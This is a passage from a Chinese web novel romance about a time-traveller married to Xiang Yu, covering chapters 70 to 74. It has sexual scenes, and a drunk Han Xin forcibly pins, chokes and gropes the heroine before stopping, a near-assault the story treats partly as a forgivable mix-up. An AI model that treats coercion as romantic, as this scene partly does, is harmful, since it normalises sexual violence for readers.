她眨了眨眼睛,睫毛扫到男人肌肉,继续说道:“你看我现在像不像是在骑马?” 似乎担心他不懂,女郎解释道:“骑在你身上就像是骑在马上,有时路好走,就很平稳,若是路不好走,就会变 得很颠簸。” 项羽气笑了:“在你眼里我不是狗就是马,合着你是在骂我是畜生?” 虞苋摆摆手,上下打量项羽,见他冷着脸的时候,薄唇紧抿,真是太好看了。 她轻轻一笑:“你曲解我的话。” 女郎身体随着心跳的节奏微微晃动,漂亮的手指挑起男人的下巴,哼哼道:“我的意思是,大王是当世上,最漂亮、最优雅、最烈的一匹马,在你身上超好骑超有成就感的。” 项羽又气又无奈,伸手环住虞苋的腰,滚烫的掌心揉着她的腰窝,她若是受不了了,这个女人就会张嘴咬自己的肩膀。 有点刺痛,人很清醒,也很满足。 黏糊得忘乎所以。 他说:“你真是胆大包天,是不是忘记了自己的身份?” “是狗胆包天。” 项羽:“……哪有自己说自己是狗的?” 虞苋一脸骄傲:“可我就是属狗的。” 闻言项羽瞥了眼自己身上被她咬的红肿的咬痕,装不了冷脸了,忍俊不禁道:“你是不是想着说自己是狗,就可以理直气壮的咬我了。” 她眨巴眨巴眼睛,语气娇滴滴的:“可是我看大王的表情,似乎是很喜欢的呀?” 项羽:“你在揣测我?” 虞苋闻言突兀起身,脚踩在他的胸膛,倨傲道:“我还可以踹你。” 她踢了男人一脚,脚尖在他的身上碾压,从高处往下俯看的感觉简直让人身心愉悦,太美妙了。 还没让女郎爽得太久,项羽握住她的小腿轻扯,受力不均下她的身体摇摆,跌在了男人的怀中。 项羽翻了个身,将她压在身下,温柔乡只是暂时的困住了她,他又将话题转了回来,说道:“以后不准研究这种奇闻轶事。” 虞苋被固定得动弹不得,她只好顺从地点头:“好的好的,都听大王的。” 他又说:“竹简全部都烧掉,不准你再看,懂吗?” 若是七月十七的丹阳,什么事情都没有发生,那这些东西都是假的,烧就烧了,若是她真的能够穿越了,这些东西她留着也无用了,同样烧了就烧了。 女郎乖巧的点头:“烧了烧了。” 项羽皱眉:“这么好说话?” 虞苋搂着他的腰撒娇,嘴巴格外的甜:“当然了,我知道大王不喜欢我研究这种东西,一次两次的劝告,我不想你不高兴啊,当然会乖乖听话的。” 项羽感觉有猫腻,却又说不上来是什么。 “不过就烧这些竹简就好了,卷轴就留着吧,反正上面的字我也看不懂。”她见项羽微眯着眼睛,立即保证道,“我保证,我不会再叫人翻译上面的文字的。” 项羽颔首:“成。” 他瞬间不干事了,揉了揉她的软腰之后,便给虞苋整理凌乱的衣裳:“现在就烧。” 虞苋感觉不上不下的,脸上气呼呼地道:“有必要这么急吗?” 项羽冷笑:“夜长梦多,我怕你反悔,很有必要。” 70-80 第71章 第71章“去丹阳。” 女郎拍了拍衣服上的褶皱,脸上的潮红还没有退下去,皮肤在日光的照射下显得十分通透。 她脸颊鼓起,欲求不满。 项羽置之不理。 他让宫人拿了火盆进来,又挥手让人出去了,将地上的竹简捡起来,瞥了虞苋一眼,询问: “我烧了?” 虞苋腿还软着,身体残留着狗男人的体温,见他还试探她,便爬到了火盆旁,将竹简拿起来递给他:“烧吧。” 项羽挑眉,太乖顺了。 见她没有生气,狗男人便将竹简一卷一卷的放入火盆之中,火舌很快将竹简吞噬,房间里变得更加燥热。 虞苋跪坐在地上,看着竹简变成灰烬,什么话都没说,表情也很平静。 项羽见她一点反应都没有,竟怀疑是不是自己太过疑神疑鬼了,想到自己的行为,心里不由出现了一丝愧疚。 他当然拉不下脸道歉,依旧不紧不慢地将竹简烧光,将所有的竹简烧掉之后,浑身放松。 火盆里的火完全燃尽,项羽用火盆上的铁夹在火星子上拨弄两下,便叫宫人将火盆撤了下去。 殿内变得很安静。 从窗户照进地板上的日光被拉长,从白得刺眼变得昏黄,外面传来此起彼伏的蛙叫,昭示着时间已经来到了黄昏。 项羽见女郎已经爬到了案几前,单手撑着额头,长长的衣摆拖拽在地上,黑色如绸缎般光滑的头发从脸颊划过,几缕落在了胸口,黑白对比之下,她的娇美姿态一览无遗。 他走到虞苋面前:“还在生气?” “不敢。” 女郎说话时语气带着鼻音。 做到一半又不做了,她怎么可能不生气? 不上不下的,身体还难受呢。 项羽轻笑一声:“继续。” 她傲娇:“才不……”要。 虞苋的话还没说完,身体就被狗男人给捞了起来,没办法,对方的力气是公认的大,提起她就像是提起小鸡崽一样轻松。 他分开她的腿挂在他的肩膀上,在凌空的状态下,男人托着她的臀部固定身体,并没有失重感。 不由由于此时项羽和她面对面,加上这个时代的里裤奇怪的设计,两人的姿势显得十分的糟糕。 女郎感觉到衣摆被撩到了一旁,男人灼热的呼吸喷洒在她的肌肤上,忍不住道:“你要干嘛呢?” 项羽目光幽暗,深深凝望那一处,喉结滚了滚,呼吸变得更加的急促了。 他说:“想亲你。” 女郎随口一问:“亲哪里。” 项羽:“嘴唇。” 什么? 他刚说完便张嘴覆盖了上去,对准那诱人的红唇亲了上去,狗男人边亲边揉着她的腰窝,大口大口的要将女郎吃透。 虞苋双腿颤抖,浑身的神经被刺激得发麻,努力将脚背绷直才能舒缓一点点,却始终被男人固定着,被亲得没有力气了,对方才依依不舍的松开她,将她抱在榻上缓解,给她喘息的空间。 太会了。 狗男人跪在榻上,单手捏着她的肩膀、腰肢、大腿、小腿,一丝不苟的给她放松紧绷的身体,让她浑身都很舒服,心里又觉得对方是在故意玩弄她。 女郎夹腿。 项羽挑眉:“松开。” 她乖乖听话,却又被对方拨弄,明明做了坏事,对方的脸上却依旧正经,好像只有她一个人沉沦,就像是一个小丑,在他面前丑态毕露。 虞苋原本潮红的脸颊立即变得苍白,趁他不注意扑到了他的身上,脸颊依恋的蹭着他的胸膛,忠实自己的想法。 于是从黄昏到傍晚直至深夜。 一直沉醉。 …… 接下来。 刘邦的动作频频,项羽终于有了出兵的理由,准备带兵攻打汉中。 当然这少不了虞苋的挑拨,只要项羽离开,就没有人管她前去丹阳了。 项羽压根没将刘邦看在眼里,加上日日沉浸在虞苋的温柔乡中,看她在床上着迷的与他缠绵,因此对她放松了警惕,丝毫没有想过这个女人会抛弃她,于是依旧让她留在了关中。 在七月初八的这一天,项羽带着大军出发讨伐汉中王。 虞苋从城楼上远眺,旌旗飘飞,战鼓随着大军的远去,声音渐渐地消散。 风吹起女郎的头发和衣裙,单薄的身子带着无尽的寂寥。 黎晟走 到虞苋身边,低头禀告:“王后,属下发现阿离来到了咸阳,原本已经将她抓住,却不慎让她跑了。” 她道:“此人是楚怀王的人,属下怀疑她来者不善。” 虞苋回神,看向黎晟:“你是不是还在对阿离为何会知道你小妹身上的胎记之事耿耿于怀?” 黎晟:“属下不敢欺瞒。” 虞苋原本是想让黎晟陪她前往丹阳的,不过想想还是别连累她了,免得项羽找不到自己怪罪于人,于是颔首道:“如今时局稍微明朗,是时候算算总帐了。” 她淡定吩咐:“她之事,由你去查,生死不论。” 黎晟低头稽首:“喏。” “哦,对了。”虞苋继续道,“你去传韩信来宫里见我。” 夏天的天气一时晴一时雨,项羽出征前还是晴空万里,到了下午却已经乌云密布,风雨欲来。 韩信来到宫中时,外面已经刮起了大风,原本虞苋准备在亭中接见他的,不得不转到了阁楼上。 他不卑不亢的走来,朝着女郎稽首:“王后。” 风吹得很大,拍打窗户,轰隆隆的响。 虞苋从阁楼上看着美丽的山河,深吸了一口气,转身走回了里面,柔声道:“坐吧。” 韩信便跪坐在了女郎的对面。 他长得高大,模样俊俏,即便是坐着腰杆依旧挺直,只是在她面前垂眸很是规矩。 虞苋开门见山,直接道:“我将为大王前往泰山祈福,你去准备几十好手陪我同行。” 韩信抬眸看向她:“王后打算什么时候动身?” 她说:“今晚。” 虞苋的时间已经不多了,和项羽缠缠绵绵了几日,距离七月十七仅有不到半个月了,动作不再快一点,她可以回去的唯一机会便没有了。 看着她心心念念都是项羽,韩信的心中格外的苦涩。 他迫使自己努力冷静下来,才压制住想要将心破开给她看的冲动。 至少,在之后的一段时间,自己能单独陪在她的身边守护她,不是吗? 明明快要下雨了,可是心中隐秘龌龊的心思,让他没有劝说。 韩信点头:“我这就去办。” “去吧。” 在韩信离开之后,虞苋提笔,在丝帛上了写了信,压在了床底。 她不知道徐福留下的手札是真是假,若是她真的穿越离开了这个时代,至少让项羽明白自己为何如此的决绝。 若是七月十七什么都没有发生,她会先项羽一步回到咸阳,到时候将里面的内容烧掉,就让这个秘密永远的埋在她的心里烂掉。 将一切做好之后,女郎愣愣地站在床榻旁,神色带着浓烈的不舍,心脏揪成一团,就好像是水面游泳后突然溺水,难以呼吸。 虞苋舍不得离开这里,可是她也很想家啊。 她闭上了眼睛,止住了眼眶中的眼泪。 在天黑之前,韩信找了上百精兵,全部乔装成普通商队,护送虞苋出了咸阳。 等出城二十里之后,虞苋吩咐韩信往码头包了两艘大船,等众人上船之后,她道:“去丹阳。” 韩信不解:“王……夫人,不是说要前往泰山祈福,怎么突然要去丹阳?”由于是隐藏身份,他及时换了称呼。 虞苋从客房的窗户看着江面,夜晚的江面黑漆漆的,她什么都看不见,只能感觉到风和着雨吹拂在脸上,带着一股沁人的凉意。 她淡淡道:“好久没去过了,算是去故地重游。” 韩信见虞苋不愿多说,于是便没有再问,而是稽首道:“夫人安心休息,我在外面护着你,有事吩咐即可。” 水路比陆路的路程要快,前往到丹阳,日夜兼程也要三五日。 第一夜由于太累,女郎在船上倒头就睡,到了第三日的夜晚,她许是心里藏着事,竟是怎么都睡不着觉。 而天公不作美,出门之后,外面一直在下雨,时而大时而小,让行船很不顺利。 虞苋想要出房门透气,开门就撞上了一个宽阔的后背,她有点蒙圈,对方就后退了一把,声音一沉:“夫人,还没睡?” 是韩信。 她眨巴眼睛:“太闷了,透透气。” 韩信沉默没说话,外面灯笼亮着微光,能看见他立体的侧脸和微抿的嘴唇,手中抱着剑,又往后退了一步。 虞苋觉得有些对不住他,带着他一起来丹阳,倘若自己失踪,相当于逼着对方离开,否则他就会因失职而被项羽处置,就如当初的黎晟那样。 她道:“有酒吗?” 韩信一愣。 女郎继续道:“反正坐船太无聊,陪我一起喝点酒吧。”或许有酒精的麻痹,她就不会东想西想了。 韩信说:“有的。” 说完他就去让人拿了酒前来,寻了个避风的地方喝酒。 虞苋和韩信有一搭没一搭的聊着,顺便给对方上刘邦的眼药,柔声说道:“我听众人说沛公仗义疏财,可是我总觉得这人生性薄凉,只能同苦不能共甜,追随他的人,怕是难有好下场。” 她喝了半坛子酒,脸颊微红,眼睛却格外的明亮。 韩信不知道这话是在试探,还是对方知道了些什么在警告他。 他拿着酒杯的手一顿,转而想到,若是虞苋已经怀疑他便不会出门让他护卫,于是自然地将辛辣的酒水一饮而尽,嗓子微哑:“夫人说的是。” 虞苋给对方又倒了一杯酒水,诚恳的看着他:“我很信任你的,不要让我失望。” 韩信沉默,随后点头。 虞苋满意地拍了拍他的肩膀,跪坐在地,听着耳边潺潺的水声,目光扫过韩信的英俊的面容,心道难怪项羽怕他将自己给勾搭跑了。 她有了几分醉意,才离开项羽没两天,就开始想念对方滚烫的体温了。 女郎想了想,与韩信又喝了几杯,道:“时间已经很晚了,我准备回房休息,你喝了酒也去休息吧,不用时时刻刻守着我的,那样太累了。” 韩信立即道:“我不累。” 虞苋因他过激的反应一愣。 韩信找补:“这是我的职责所在。” 她笑了笑:“没事的,休息吧。” 说完虞苋将杯中酒喝完,踉跄的起身准备回房,却被一只手扶住。 韩信立即松手,垂头拘谨道:“我送夫人回房。” 第72章 第72章“你是把我错认成了你的…… 夜风吹来,女郎抬头。 韩信紧抿着唇,睫毛微微颤抖,似乎是出于礼貌,不得已扶住她的手臂。 虞苋对于眼前之人的观感,只觉得他是过于不近女色,身边一直没有出现任何女子,过于洁身自好了些。 因此她看着韩信握着自己胳膊的手,再看看对方的表情,甚觉他是不情愿的,说的不过是场面话,于是摆了摆手:“没关系的,我还没醉晕,离房间就几步路,可以自己回去。” 刚说完,虞苋就踢到了地上的空酒坛,身形摇摆了两下,她可以站稳的,可韩信眼疾手快,等她回身,对方已经单手环住了她的腰将身体固定。 他低头道:“夫人,小心。” 韩信灼热的呼吸喷在了虞苋的耳后,对方身体将她困在船舱的木质隔板上,她能感觉到柔软的胸脯被男人的胸膛隔着衣物挤压,腰间的臂膀无意识往他身上带。 “啊。” 虞苋惊呼一声,耳朵红透,猛地抬头看人。 韩信似乎没有反应过来自己做了什么,他抿着嘴唇,沉默地抱着她,心平稳有力的跳动。 女郎身体原本就在这几日和项羽无节制的情爱中变得很敏感,此时虞苋有些懊恼,正要开口训斥,韩信已经像是避瘟神一样松开了她。 他的语气甚是冷淡:“夫人,冒犯了。” 虞苋原本对于刚才韩信的举动十分不悦,可看着他冷漠的表情,又想着许是自己多虑了。 她当然知道自己是长得好看的,可并不是谁都喜欢自己这个类型,看韩信的样子就知道他对她丝毫不感兴趣。 女郎摇头:“没事,是我没站稳,多谢你扶住我,不然就要摔倒了。” 韩信不说话了。 虞苋身体太敏感,说完往房间走,他尽职尽责地跟在她身后。 走到了房间门口,她瞟了一眼韩信:“很晚了,回去休息吧。” 韩信垂头:“喏。” 然后一丝不苟的给她关上了房门。 虞苋见状揉了揉抽痛的太阳穴,回去躺在了柔软的被褥中,整个人都陷了进去。 她喝酒之后酒品不太好,身体又因为酒精的催化下逐渐发烫,感觉到周围热得出了闷汗,女郎脱去外衣只穿着里衣,迷迷糊糊地睡觉。 不知过去了多久。 虞苋猛地睁开眼坐起来,还是晚上,连房间里的蜡烛都只燃烧了一半,于她而言漫长的时间,实际上不超过一个时辰。 她被褥已经被汗水完全浸湿。 虞苋揪着自己的心口,感觉脑子嗡嗡的响,忍不住咬住了干燥的嘴唇。 自己刚才似乎做了一个梦,梦到了某个狗男人呢。 算了算了,别想了别想了,不就是做了个梦吗? 她伸手揉了揉自己发烫的小脸,深吸一口气,下床去给自己倒水,连喝了三杯水,依旧没能解渴,而水壶已经空了。 正打算让韩信叫人帮忙打水,突然想起自己好像让他回房休息了,转而有些庆幸让他离开,不然刚才做梦的时候说了梦话,被人听见就实在太过于丢脸了。 于是虞苋便穿上了衣裳打开房门,外面黑漆漆的,依旧下着很大很大的雨,值守的人不知道去了哪里。 女郎正犹疑中,抬头看见韩信的屋子开了一条缝,里面漏出了点烛光。 他还没睡? 虞苋知道韩信不近女色,对他十分的放心,又加上寻不到旁人,只好上前敲了敲门,询问道:“韩信,你在里面吗?” 敲了好几下,见没有反应,她便作罢,准备自己去船上找找。 韩信突然将门打开,把她扯进房间后直接将人凌空抱起大步的走到了床边放下,紧接着倾身将女郎压在了身下,动作行云流水。 她回神,怒斥:“你做什么?” 对方身上还残留浓郁的酒气,英俊的脸上面无表情,眼睛通红,掐着她的脖子恶狠狠地质问:“你为什么又出现在我的面前,是来嘲笑我的爱而不得,还是来看我的溃败?” 韩信知道女郎不可能半夜敲他的门,是他眼前又出现了幻觉,可是心脏还是会狂跳。 之前明明已经压制住的情绪,仅仅是因为刚才不小心触碰到了她,却又开始幻想她的温柔,是自己无耻卑鄙。 他甚至不敢在她面前表露自己的喜欢。 可是眼前的女人只是幻觉,韩信忍不住把自己的真心话说了出来。 他喝醉了。 女郎还处于在懵逼的状态,却感觉男人的手往下,先是掐住她的腰,然后顺着她的身体往上按揉。 韩信冷嘲:“呵,真软。” 虞苋看着他嘲讽的表情,心中又气又急,继续呵斥:“你看清楚我是谁,你快松开我。” 韩信闭眼深呼吸。 他察觉到女郎在推他,冷声命令:“别动。” 虞苋不敢动了。 她似乎又做错了一个决策,或许自己一开始就应该想办法除掉韩信,而不是继续养虎为患的。 虞苋在对方的手下被弄得浑身绷紧,双腿夹得很紧,抿着嘴巴尽量不让自己发出声音。 韩信感觉到不太对劲,身下之人的身体如梦中般柔软,可肌肤触手的滑腻是如此的真实,带着真人的体温,也不像梦中人一样轻飘飘的。 她浑身在颤抖。 这不是梦。 他的手指忍不住继续碾压了一会儿,作为生来卑鄙无耻的男人,都将人欺负到这个份上了,不如做得更彻底一些。 反正酒醒之后都会死。 韩信将虞苋压在身下,扯掉了身上的腰带,倾身抵在她的身上。 女郎浑身绷紧。 房间里的气温骤升,她脸上通红,对此有些无措。 此时她无疑在承受着身体和心理的双重折磨。 其实虞苋对于韩信此人并不反感,甚至是有些欣赏的,毕竟对方颜值极高,身强力壮,能力又强,留在身边很是养眼。 可好看归好看,自己还真没想过与他有什么。 而且她以为韩信是个正人君子,能屈能伸,对她毫无兴趣,没想到他爆发力如此惊人,她推不动。 她推了两下就感觉身体力竭了。 要糟。 韩信看着女郎沉默着不说话,心中抽痛,忍不住将人搂得更紧。 外面的雨稀里哗啦的下,掩盖住了房间里的喘息。 不行。 他压抑着自己的欲望,脖颈的青筋突兀。 不能这样不顾及她的意愿,既然不是梦,就不能对她如此的粗暴,否则他就真成了一个无耻的小人。 韩信停下了手上的动作,想要给她整理身上的衣裳,却越整理越乱,只好直接将人抱起,拿着剑带着她往外走。 这回是虞苋不说话了。 她不知道对方要做什么,只能保持沉默,不刺激到对方。 否则会出事的。 韩信将她抱回自己的房间里,跪在地上,将剑捧到虞苋的面前,垂头道:“夫人,刚才是我冒犯了你,你动手杀了我吧。” 虞苋没想到事情峰回路转,她看着对方清醒的眼睛,在打量他是真心还是假意,可刚才的怒火和羞愤都消失不见,让人只能感觉到冷意和恼怒。 清醒了? 她脸色微红,起身踹了他一脚,怒斥道:“无耻下流。” 是的。 见到韩信恢复了理智,虞苋又支楞起来了。 女郎目光冷冷的看着他说道:“韩信,我一直以为你不近女色,是个正人君子,没想到你刚才竟给我这么大的惊吓,差点被你……” 韩信自嘲一笑:“是我认错了……”梦境和现实。 她道:“你是醉酒认错了人?” 虞苋心里还是认为是他认错人的,毕竟对方的确在自己面前从没有露出钦慕的神色,还十分的注意保持着距离,想来是不会喜欢自己。 而且他又喝醉了酒。 她又疑惑道:“你是把我错认成了你的心上人?” 韩信沉默着没有回答,看上去是默认了。 她可不愿意将一个觊觎自己身体柴狼虎豹放在身边,若是对方对她没有兴趣,就可以把心放回肚子里了。 虞苋知道今夜之事她也有错,若是自己没有半夜去找他借水,韩信不会将她认错,就不会出现如此乌龙。 索性最后没有酿成大错。 她好奇道:“你的心上人是不是当初你未投身军伍时给你饭吃的人?” 韩信立即回答:“不是。” 那虞苋猜不出是谁了,她也没有打算再问,倒是觉得韩信有点可怜,爱而不得的滋味据说可不好受。 虞苋此时不好真将人杀了,再有几天或许她就不在这个世道,懒得在追究这些不重要的事情。 女郎神色有些倦怠,忍不住揉了揉眉心:“我不杀你,你起来吧,为了你性命着想,这件乌龙之事,天知地知你知我知,可懂?” 韩信将剑放在一旁,膝行到虞苋身边,压抑住了心中的痛苦,哑声道:“是,夫人。” (这章是反复修改了是十几遍的,审核员你给我过了,现在因为别人举报有锁我,是纵容男主梦女继续举报吗?) 第73章 第73章“生要见人,死要见尸。…… 韩信跪在她面前,臣服地低头。 他长而直的睫毛在眼下落了阴影,昏暗中旁人看不清他的表情。 身上的衣裳凌乱,腰带散开的,在她面前露出精壮的上半身。 江面的风将窗户吹得砰砰响,房间里面却很闷热。 女郎被刚才的惊吓给吓出了一身的冷汗,浑身黏腻又口干舌燥,很是不爽利,可是低头时却瞥见了被子上的濡湿。 呃…… 差点完忘了这茬。 虞苋浑身僵硬,忍不住低头看韩信,对方的视线没往那里看,她松了一口气,默默地将其盖住。 她清了清嗓子,说道:“房间里又闷又热,偏偏天在下雨,倒是不好开窗透气,睡醒就口渴得很,刚才寻你,就是为了找水喝。” 韩信沉声道:“是末将思路不周。” 他起身继续开口:“我去给夫 人打水来。” 虞苋赶紧点头:“去吧去吧。” 韩信走出房间带上门,站在门口深吸了一口气。 其实他并不知道自己是什么时候越陷越深的,或者是她在所有人都瞧不起他的时候依旧信任他的能力,或者是她的才情让人仰慕,又或者是她美丽的容颜让他变成了最厌恶的好色之徒。 他不过是阴沟里的臭虫,暗暗惦记着天上高悬的明月,可是自己却连跟月亮表露心意都不敢,懦弱又可笑。 这时值守的士兵走来:“头儿,你与夫人……” 韩信睨了他一眼:“让你们在外面值守,为何夫人半夜寻不到人,去哪了?” 士兵低头:“属下见夫人往你房间去了,便不敢打搅你们的好事。” 他揉了揉眉心:“谁让你自作主张的,去领罚去。” 士兵:“……喏。” 韩信带来的人都是他的心腹,守在虞苋身边护卫的更是心腹中的心腹,许是猜中了他对于女郎的心思,才会这般不知分寸。 他继续道:“将热水送去夫人房间,她做了噩梦,许是要泡澡缓解。” 士兵:“喏,这就去。” 等吩咐完之后,韩信继续守在门口,甲板上的雨水流了下来,聚集成一滩小水池。 他的脚踩上去。 韩信离开房间之后,虞苋就直接瘫软在榻上。 没多久外面有人敲门,在虞苋的允许下,开门抬了热水进来,随后便退了下去。 女郎抬头看着站在外面的韩信,他低头在带上了门,语气低沉道:“夫人,我在外面守着,好了叫我。” “不用。” 然而房门已经关上了,对方的影子印在门上,显示他的确在外面守着。 虞苋忍不住捂脸。 韩信站在外面,隔着一块薄薄的木板,完全不膈音,即便知道对方心里有人,对她没有非分之想,却还是感觉到很尴尬。 特别是发生了刚刚那件事之后。 救命救命。 虞苋起身先是拿起刚打好水的水壶喝水,想了想还是没有特地开门去说,不然显得她真的很在意刚才发生的事情似的。 算了。 女郎脱掉衣裳跨入浴桶中,尽量不发出声响。 温暖的水包裹着她身体,热水缓解了她的不安和烦闷,将愁绪好担忧都泡没了,泡了没有多久便感觉昏昏欲睡。 她洗了一把脸,伸手揉揉自己的膝盖,目光看着外面倒映的影子,动作又忍不住放慢,默默洗去了身上的黏腻,随后便赶紧钻了出去给自己裹上了衣裳。 穿戴整齐之后,虞苋脸上已经恢复了镇定,淡定地让韩信叫人的将水抬走。 水是抬走了,被褥也换了新的。 她嗓子一紧:“等一下。” 韩信不解:“夫人,怎么了?” 她才发现她没带一个宫女出门简直是下下之策。 真是太不方便了。 不说了,反正刚才都丢脸丢尽了,也不怕再多丢一点。 虞苋无力的摆手:“没事了,你出去吧。” 等韩信离开之后,女郎重新瘫在了柔软的被褥上,在床上滚了两圈,没一会儿就睡着了。 在七月十五日,船停靠在了丹阳。 丹阳同样在下雨,不过下的是小雨,淅淅沥沥的。 还有两天时间。 徐福留下的卷轴上写了更为具体的时间地点,到了丹阳之后,虞苋便带着韩信往具体的地方前去,借住在离那个地方不远的庄子上。 在庄子外面,有十里莲池。 荷花和着蛙叫,雨水打着莲蓬,虞苋站在亭子中,看着被惊起的鸥鹭飞到了天上,渐渐形成了一个黑点。 她心中越来越烦闷,原本是想喝酒的,可是想到了上次喝酒闹出的乌龙,便又打住了自己的心思。 虞苋关于自己的事情之时,是很能藏得住心思的,即便韩信护送她到了丹阳,她也没有跟对方透露一丝一毫的信息,怕生出意外。 此事她倒是能藏。 而另一边。 项羽正往丹阳赶来,冒着雨日夜兼程。 许负听闻虞苋前往了泰山,就觉得不对劲,立即算了一卦,得出了凶卦,又想到了最近传闻虞后研究穿越之事,顿觉事情不妙,便飞鸽传信给项羽。 项羽太了解女郎的性子,加上也看过竹简,心知这个谎话连篇的女人绝不会为他去泰山祈福,怕是跑去丹阳去了。 他即便不相信徐福提及的穿越,可是心中却大慌,他相信自己的直觉,于是立即撤兵,自己则带人紧张地往丹阳而去。 以至于这女人是让韩信陪同之事,项羽反而不是很在意了。 于是时间就这样到了七月十七,下午的申时。 这一日的天色果然很奇怪。 天下着小雨,虞苋借故要去江上钓鱼,让韩信弄了小舟去了河边。 由于两人之前船上之事,女郎以此为由,让韩信留在了岸上候着,不然他靠近。 虞苋乘坐小舟到了徐福卷轴上记载的江面,却见头顶原本乌云密布,不知什么时候黑云被一道日光破开了一个口,直至照射到了江面,在江中心折射了一道斑斓的彩虹。 在众人看不见的地方,女郎看见了一抹蓝色在水中幽幽的转动,和在阿房宫的观星台看到的水池的颜色很像。 有戏。 跳下去她是不是又会穿越了? 她即便直觉徐福没有骗人,可是看着卷轴上记载的时间地点出现了异象,心头依旧还是紧张了。 假设真的可以穿越,则会遇见至少四种情况。 要么她穿越回到了二十一世纪,要么她穿越到其他的朝代,要么她跳进去就死了,要么她跳进去什么事情都没有发生。 虞苋的手止不住的颤抖。 她捏了捏身上早就准备好的斜挎包,里面装了钱、伤药、火石等,腰间佩戴了软剑,似乎一切都准备就绪了。 “哒哒哒。” 虞苋突兀地听到了马蹄声,她忍不住回头,却见岸上出现了一个胡子拉杂的男人,身影格外眼熟。 他命令道:“回来。” 呀呀呀,是项羽。 她忍不住揉了揉眼睛,发现不是自己的幻想,忍不住道:“大王,你不是去讨伐汉中王去了吗?怎么会出现在这儿?” 项羽跳下马,略过韩信,冷笑道:“我的王后,你不是说去泰山为我祈福吗?你又为何出现在这里?” 他眼生双瞳,看得比一般人远,很快就发现了江中的不一般,厉喝:“回来,不要让我说第二遍!” 虞苋看着项羽冷酷到极致的面容,心中十分的害怕,又瞥见开始缩小的蓝色水圈,心中更是揪痛到让她难以呼吸,眼泪已经从眼眶里大颗大颗的冒出。 女郎哽咽:“大王,我想回家了,我真的想回家了,对不起对不起真的对不起……” “别动,别跳。” “不准走。” 项羽立即脱了身上外衣,跃入江水中,朝着女郎的方向游过去。 韩信反应过来虞苋哄他过来并不是想故地重游,而是真的信了徐福卷轴留下来的话,来丹阳是为了…… 穿越? 可是女郎为何执着于穿越这件事呢? 韩信来不及多想,见项羽往江中游,紧跟着下了水,他不信徐福的话,喉咙却依旧发紧。 万一呢? 虞苋站在小舟上看着两人的身影,心中慌乱了一阵,赶紧抹掉脸上的眼泪,看着蓝色的水圈眼神逐渐变得坚定。 不管跳下去最后是什么结果,最重要的就是要跳,即便只有百分之一的可能性,也是要往下跳的。 倘若真的错过了这次机会,她将终其一生,都困在无尽的后悔之中,成为伴随她终生的梦魇。 或活或死,她都为自己的选择买单。 江面的风依旧很大,吹得女郎的头发猎猎作响。 站在小舟 上的背影孤寂,颇有一丝“风萧萧兮易水寒,壮士一去不复返”的决绝。 一滴泪从眼睛滴落。 再见了。 不…… 可能再也不见了。 虞苋决绝的跳了下去。 “小虞!” 女郎从船上跳了下去,没有起一丝的水花,没有入水的声响,周围寂静无声。 徐福没有骗人。 项羽拼了命的往蓝色水域游,即将到达之时,天上的乌云合拢,大雨倾盆而下,异象全部消失。 他扑空,看着空荡荡的江面,项羽潜入水中,疯了似的在水中寻人。 没有,没有,到处都没有。 女郎彻底消失了。 项羽心中勃然大怒,他想过很多次被她抛弃的场面,却从来没有想过,竟是如此的荒谬。 她竟然在自己的眼前凭空消失了。 徐福留下的竟然是真东西,世间真有穿越这等荒谬之事。 简直太可笑了。 不可理喻。 项羽回到了岸上是已经精疲力尽,任由冰冷的雨水打在他的身上,转头看着一旁的韩信,嘲讽道:“你被她利用了。” 她就是如此的娇作狡诈。 韩信缄默不语。 事实上那人就是将他当成了一条狗,根本不管他的死活,他以为对方没有在船上因为自己的冒犯而一剑杀了自己,是因为她还算看中他,到头来他的死劫竟是在这里。 若是她没能离开,是不是回去,她就会清算自己? 真是好狠毒的心。 此时桓楚带着大部队赶来:“这是……” 项羽指着面前的河流,对着桓楚冷声吩咐:“无论想什么办法,把这条河抽干,我生要见人死要见尸。” 他的心已经冷了,浑身紧绷,只靠着一口气强撑着,眼尾通红,带着濒临崩溃的理智。 第74章 第74章“还是不知道现在是哪朝…… 这是一个炎热的夏天。 芦苇被风吹得沙沙作响,残阳的余晖映照在江面,同时将岸边女郎的身影拉长。 大雁朝南飞过,排成一个“人”字形。 原野上有五颜六色不知名的小花小草,女郎边走边摘身旁的花花草草给自己编花环,编好后便挂在自己的脖子上当成璎珞,手中的软剑咻咻咻就将脆弱的草木给斩断。 走了近二十里,别说现代设施,甚至连路都没有。 若非偶尔能看见江中的商船经过,还以为自己又穿越了莽荒时代。 她的直觉是对的,徐福留下来的卷轴是真的,自己的确是因此穿越了,就是赌输了,没有穿越回到自己的时代。 唉。 惆怅。 虞苋都还不知道自己究竟是往前穿越了,还是往后穿越了,自己穿越到了什么时间地点。 在夜色将暗之时,终于让她见到人影。 当然她不是每一次都会幸运地撞到贵人,这次拦住她的是五人的小团伙。 从服饰上看与秦末汉初的平民穿着一致,对方腰间佩戴着的是铁剑,正将她给拦住。 其中长了满脸络腮胡的男人和蔼一笑:“女郎这是要去哪里?” 他解释道:“如今世道乱,你长了一副如花似玉的好模样,一个人在外面行走危险得很,倘若顺路,可与我们兄弟几个同行。” 虞苋问:“我要去咸阳,你们也去吗?” 拦住他的几个人对视,随后用眼神蛐蛐她。 依旧是那个络腮胡的男人开口:“女郎拥有如此美丽的容颜,难不成也想去咸阳攀附大王?” “嗯?” 啥意思? 他道:“自从王后崩了之后,世间多少的美人想要取而代之,可惜大王却不懂得怜香惜玉,想要攀附之人全部被处置了,不过这些年依旧有女子不死心,总觉得自己是会成为特殊的那一个,不听劝的用各种招式引诱大王,最后落得个香消玉焚的下场。” “就是就是。”络腮胡身边的小弟点点头,“女郎的样貌的确世间少有,何必去咸阳送死?” 虞苋一脸疑惑:“你们口中的大王指得是谁?” 若是她往后穿,应该称国君为皇帝,往前穿,国君才会被称为大王。 加上这些人手中拿着铁剑,难不成她穿到了战国? 小弟道:“大王就是大王啊。” 她满脸黑线:“我是询问大王叫什么名字?” 络腮胡道:“欸,我等怎么知道大王的名讳,这是大不敬的。” 见虞苋皱眉,他又说道:“算了,女郎若是要前往咸阳,倒的确是和我们兄弟几个顺路,我等都是出门在外游历的游侠,不用担心我们是坏人,女郎大可与我等同行,相互也好有个照应。” 虞苋笑了:“这么巧?” 络腮胡:“没错没错。” 她不谙世事:“那敢情好。” 几人又相互对视了几眼,眼睛里闪过一丝亮光,随即马上恢复成亲切的模样,说道:“此时天色已晚,不如先找个地方修整,明日再赶路如何?” 虞苋说:“全凭诸位做主。” 当晚,他们将带来的帐篷让给虞苋,并给了吃食。 